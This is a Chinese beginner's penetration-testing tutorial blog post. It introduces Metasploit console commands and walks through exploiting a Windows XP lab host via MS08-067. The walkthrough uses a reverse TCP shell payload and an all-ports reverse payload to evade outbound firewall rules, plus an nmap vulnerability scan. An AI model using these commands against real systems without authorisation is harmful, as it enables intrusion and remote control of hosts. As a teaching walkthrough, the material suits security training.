• 渗透第一课:尝试渗透


    渗透第一课:尝试渗透

    • 在简单点额了解了Metasploit框架后,我们就需要学习使用msf和Kali渗透攻击了

    0x00:攻击基础

    ​ Metasploit框架中含有数百个模块,当然无法用“脑子”,也没有功夫去记所有的模块(除非很闲),当然了,一些比较基础的还是需要记住的了。

    msf > show exploits

    • 命令作用:
      • 显示MSF框架中所有可用的攻击模块。在msf终端中可以针对发现的漏洞实施对应的攻击策略。
      • (Metasploit团队依旧在维护攻击模块,所以说这个列表会非常的长,笔者现在使用的时候有1896条)

    msf > show auxiliary

    • 命令作用:
      • 显示所有的辅助模块和用途(英文),辅助模块用途非常广,可以是扫描器、DoS工具、Fuzz测试器等工具

    msf > show options

    • 命令作用:
      • 参数 options 是保证Metasploit框架中各个模块正确运行所需要的各种设置,输入 show options 会列出这个模块所需要的各个参数。如果没有选择模块,输入这个命令显示所有的全局参数,
      • 输入 back 命令可以返回上一级命令状态哦!(在模块中quit/exit会直接退出msf终端)

    • msf > search [关键字词]

      • 如果想在众多的模块中,找到针对某一个特定的类型的攻击模块的时候,可以使用search命令进行模块组件的搜索;当然search命令也支持搜索特定的模块,并显示该模块的具体位置。


    我们利用search命令搜到了某模块的位置,use进入该模块操作。

    进入模块(任何模式下use和search命令都可以跳到另一个模块中)使用show options显示模块参数。

    msf > show payloads

    攻击载荷是一种针对特定平台的一段攻击代码,通过网络传送到攻击目标进行执行。和show options一样,在模块下执行 show payloads 命令,Metasploit会将和当前模块兼容的攻击载荷显示出来。

    在针对Windows操作系统的攻击中,简单的攻击爱喝可能只会返回目标主机的一个命令行界面,而复杂的攻击载荷则会返回一个完整的图形操作界面。

    msf > show payloads  # 显示Metasploit下所有支持的攻击载荷
    
    • 在例如ms08_067模块下显示攻击载荷列表
    msf exploit(windows/smb/ms08_067_netapi) > show payloads #x显示ms08_067模块支持的攻击载荷列表
    

    • 选择使用的攻击载荷(reverse_tcp > 反弹式TCP连接)
    msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp
    

    在选择reverse_tcp攻击载荷方法后,输入 show options ,就会显示需要配置的参数列表

    options显示的参数分为ms08_067模块下的参数和reverse_tcp攻击载荷下的参数。

    • 可以配置(LHOST和LPORT)让目标主机回连到攻击机的特定的IP地址和端口号上,这就称为反弹式的攻击载荷(其中LPORT默认为4444端口);在攻击载荷中,连接是由目标主机发起的,并且其连接对象是攻击机[可以使用这种技巧穿过防火墙和NAT网关]

    msf > show targets

    ​ Metasploit攻击模块通常可以列出受到漏洞影响目标的操作系统的类型。比如针对MS08_067漏洞的攻击依赖于硬编码的内存地址,所以这个攻击针对的是特定的操作系统版本且适合特定的补丁级别、语言版本以及安全机制实现的。由此攻击是否成功,取决于目标Windows系统的版本。

    msf5 exploit(windows/smb/ms08_067_netapi) > show targets  # 自动选择
    

    在 show targets的显示列表中,攻击列表中的一个选项。通常攻击模块通过目标操作系统的指纹信息,自动选择OS版本进行攻击;不过最好的还是通过人工更加的识别处信息并选择选项,避免触发错误、破坏性的攻击。

    info 命令

    ​ show和search命令提供的信息过于简短;可以使用 info 命令加上模块的名字(info[模块名]或者模块下info命令)可以显示模块的详细信息、参数说明以及可操作的OS。

    set 和 unset 命令

    ​ Metasploit模块中的所有参数两种状态:已设置(set)和未设置(unset)

    ​ 部分参数 show options后Required会别标记为Yes(必填);必填的选项需要使用set命令对参数设置(同时启用)使用unset命令可以禁用相关的参数。

    msf [模块] > set [参数] [设置参数内容] 
    
    • 命令操作
    msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.2.184
    RHOSTS => 192.168.2.184
    msf5 exploit(windows/smb/ms08_067_netapi) > set target 10
    target => 10
    msf5 exploit(windows/smb/ms08_067_netapi) > show options 
    

    如此,我们将模块的攻击目标RHOSTS和Tatget都配置完成了;

    使用 show options 命令查看模块的参数配置,确认配置完成。

    setg 和 unsetg 命令

    setg和unstg命令可以在模块内设置参数配置的同时,完成/抹除全局的参数配置;使用这组命令则不必每次都重复设置同样的参数了。

    save 命令

    在使用全局参数配置后,可以使用 save 命令将当前的设置值保存下来,这样二次启动msf终端的时候,依旧可以使用这些参数值。

    msf5 exploit(windows/smb/ms08_067_netapi) > save
    Saved configuration to : /root/.msf3/config
    

    save命令执行后,参数值会别保存在磁盘上(/root/.msf3/config)

    0x01:首次渗透(Win_xp)

    对目标靶机进行漏洞扫描

    • 使用Nessus或其他漏洞扫描工具(Web管理页面操作)

    Nessus 漏洞扫描结果:

    从扫描结果中我们发现目标存在MS08-067【CVE-2008-4250】漏洞

    • nmap手工扫描漏洞

    ps:如果有了经验后,也可以通过nmap进行手工扫描,在这里就针对MS08-067漏洞进行扫描,查看是否存在该漏洞。

    msf5 > nmap -sT -A --script=smb-vuln-ms08-067 -PO 192.168.2.184
    

    扫描命令采用 -sT/-sS(隐秘) 和 -A(全面) 扫描目标,并引用nmap脚本(--script)—”smb-vuln-ms08-067“扫描目标。

    我们在第三行{VULNERABLE}的显示结果,表示存在第四行的{MS08_067}漏洞

    第六行显示了该漏洞的CVE编号【CVE-2008-4250】,后续显示相关的漏洞信息

    攻击前的确认和准备

    确认目标主机存在MS08_067漏洞,我们进入msf环境调用该漏洞的攻击模块

    我们在之前的nmap中确认了目标的操作系统为:Microsoft Windows XP Professional SP2

    选择使用的攻击载荷===>(reverse_tcp > 反弹式TCP连接)

    设置目标主机的操作系统的具体系统版本类型(由于MS08_067是不同系统有不同的方法所以……)

    设置目标的IP地址、TCP反弹的监听地址IP和端口

    攻击开始

    msf5 exploit(windows/smb/ms08_067_netapi) > exploit	#测试能否攻击 (进入方法 1)
    meterpreter > shell #可以进入目标系统的cmd
    msf5 exploit(windows/smb/ms08_067_netapi) > run #![](https://img2018.cnblogs.com/blog/1512305/201906/1512305-20190615205304100-1944401348.png)
    
    攻击  (进入方法 2)
    

    shell 交互式界面,此时就可以控制对方的操作系统了

    攻陷成功

    当我们可以在cmd模式的shell交互界面中操作对方系统的时候,就表示我们成功攻陷对方主机了!

    0x02 全端口攻击载荷:暴力猜解目标开放端口

    ​ 可以攻陷Win_XP系统,原因在于目标主机反弹连接使用的端口没有被过滤掉;但如果我们攻击的组织内部设置了严格的防火墙出站策略,就无法接收反弹连接了。

    ​ 我们可以猜解443端口有没有被防火墙禁止,可以进行逐一尝试常见的服务端口;当然MSF也提供了一个专用的攻击载荷帮助我们找到“可利用”的端口。

    msf5 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/dllinject/reverse_tcp_allports 
    

    0x03:模仿攻击Ubantu主机

    我们对Windows xp攻击完成了,我们可以对Linux主机进行模仿的攻击,虽然目标不同,但是攻击思路是类似的,在攻击载荷是不同的。

    • 手动扫描目标主机

    通过nmap的手动扫描结果看出目标主机的以下信息:

    1. SSH-22和apache-80端口和服务处于开启的状态
    2. 目标系统为 Ubantu Linux

  • 相关阅读:
    Cmd Markdown 公式指导手册
    ubuntu 21.10 上的一些必备库的安装 opengl, opencv
    MarkDown 数学公式
    免费代理IP地址列表
    pyexecl的使用
    磁盘IO满负荷性能分析
    DRM 简介
    Oracle修改字符集ORA02374,ORA12899,ORA02372
    oracle grid修改ip
    Oracle性能问题一般排查方法
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/11028821.html
Copyright © 2020-2023  润新知